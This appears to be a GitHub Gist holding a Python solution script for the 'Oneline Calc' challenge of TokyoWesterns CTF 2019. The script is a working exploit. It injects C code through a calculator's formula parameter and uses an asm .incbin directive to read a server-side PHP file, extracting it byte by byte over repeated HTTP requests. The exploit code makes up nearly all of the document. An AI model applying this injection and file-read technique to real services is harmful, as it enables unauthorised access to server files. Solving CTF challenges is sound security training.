Last active
April 8, 2021 11:58
-
-
Save st98/96d9d7d3df1227e0792797ba6c881d0c to your computer and use it in GitHub Desktop.
TokyoWesterns CTF 5th 2019 - Oneline Calc (flag 1)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import requests | |
from urllib.parse import quote | |
code = ''' | |
1; | |
asm goto (""::::a); | |
goto b; | |
a: asm(".incbin \\"/srv/olc/public/calc.php\\""); | |
b: return ((char *)&&a)[{:5}]; | |
'''.replace('\n', ' ') | |
res = '' | |
for i in range(len(res), 65536): | |
r = requests.get('http://olc.chal.ctf.westerns.tokyo/calc.php?formula=' + quote(code.format(i))) | |
r = r.content.decode() | |
c = int(re.findall(r'data: evaluating\n\n\nevent: message\ndata: (.+)\n', r)[0]) | |
res += chr(c) | |
print(repr(res)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment